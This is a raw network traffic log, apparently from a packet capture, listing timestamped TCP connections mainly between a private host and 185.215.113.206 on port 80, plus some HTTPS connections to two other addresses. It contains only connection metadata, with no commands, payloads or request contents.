Nov 26, 2024 16:31:49.770297050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.770329952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.770370960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.771042109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.771051884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.771116018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.771739960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.771753073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.771842957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.772397041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.772407055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.772465944 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.773292065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.773307085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.773449898 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.773977041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.773984909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.774038076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.774746895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.774755955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.774816990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.775393009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.775470972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.775500059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.775558949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.776288033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.776298046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.776355028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.777056932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.777066946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.777098894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.777784109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.777795076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.777807951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.777944088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.778568983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.778578043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.778624058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.779459000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.779470921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.779536963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.780316114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.780324936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.780376911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.781213999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.781224966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.781236887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.781291962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.782088995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.782099962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.782176971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.782988071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.782993078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.783077002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.784013033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.784169912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.793694973 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.793720961 CET	443	49891	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.840807915 CET	49891	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.882113934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.882178068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.882327080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.882427931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.882769108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.882833958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.883109093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.883183002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.883533955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.883668900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.883968115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.884141922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.884601116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.884615898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.884697914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.885647058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.885772943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.886050940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.886193991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.886446953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.886456966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.886506081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.887098074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.887450933 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.887552977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.887846947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.887857914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.887907982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.888602972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.888978958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.889084101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.889364958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.889375925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.889456987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.890045881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.890208006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.890404940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.890477896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.890744925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.890753031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.890813112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.891570091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.891700029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.891974926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.892071962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.892386913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.892401934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.892472982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.893235922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.893246889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.893315077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.893825054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.893832922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.893923044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.894435883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.894443035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.894553900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.964971066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.965100050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.965420961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.965583086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.965662956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.965965033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.966155052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.966397047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.966675997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.966845036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.967278004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.967395067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.967535973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.967844963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.967982054 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.968173027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.968405008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.968635082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.968741894 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.968751907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.968950033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.969552994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.969954014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.970136881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.970501900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.970510960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.970659018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.971179962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.971333027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.971633911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.971767902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.971935987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.971980095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.971996069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.972034931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.972991943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.973120928 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.973375082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.973438025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.973810911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.973819971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.973889112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.974462032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.974703074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.974740028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.974802017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.975107908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.975119114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.975191116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.975853920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.975934029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.976253986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.976263046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.976320982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.976890087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.976993084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.977241039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.977250099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.977324009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.977993965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.978003979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.978064060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.978636980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.978646040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.978727102 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.979399920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.979521036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.980209112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.980324030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.980568886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.980577946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.980861902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.981352091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.981360912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.981462002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.982193947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.982204914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.982371092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.982856989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.982867002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.983019114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.983680964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.983690977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.983760118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.984407902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.984417915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.984483004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.985229015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.985238075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.985346079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.986093998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.986426115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.986510038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.986701012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.986941099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.986951113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.987051964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.987832069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.987843990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.987957001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.988768101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.988775015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.988837957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.989759922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.989767075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.989842892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.990597010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.990606070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.990798950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.991616011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.991626024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.991698980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.992608070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.992618084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.992754936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.993357897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.993367910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.993426085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.994313955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.994328022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.994379997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.067022085 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.067120075 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.067845106 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.068027973 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.068049908 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.068092108 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.068101883 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.073348999 CET	49902	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.073383093 CET	443	49902	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.074132919 CET	49902	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.079245090 CET	49902	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.079257011 CET	443	49902	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.101377010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.101540089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.101572037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.101697922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.102118015 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.102204084 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.102204084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.102511883 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.102516890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.102587938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.102797985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.103005886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.103007078 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.103007078 CET	49865	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.103015900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.103024960 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.103037119 CET	443	49865	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.103095055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.103801966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.103863001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.104185104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.104278088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.104547977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.104677916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.104975939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.105055094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.105386972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.105396986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.105488062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.106164932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.106175900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.106273890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.106918097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.106930971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.107040882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.107829094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.107836962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.108194113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.108593941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.108603954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.108750105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.109253883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.109265089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.109472036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.110035896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.110044003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.110101938 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.110836983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.110856056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.110934019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.111725092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.111736059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.112035036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.112574100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.112584114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.112770081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.113197088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.113204956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.113404036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.113909960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.113919020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.114116907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.116038084 CET	49903	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.116085052 CET	443	49903	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.116163015 CET	49903	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.129307032 CET	49903	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:50.129339933 CET	443	49903	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:50.139086962 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139123917 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139134884 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139158964 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139185905 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139197111 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.139224052 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:50.139256001 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.139280081 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:50.176016092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.176270962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.176275015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.176451921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.176676035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.177022934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.177047014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.177076101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.177423954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.177824974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.178206921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.178222895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.178312063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:50.178528070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:50.178726912 CET	49809	80	192.168.2.6	185.215.113.206
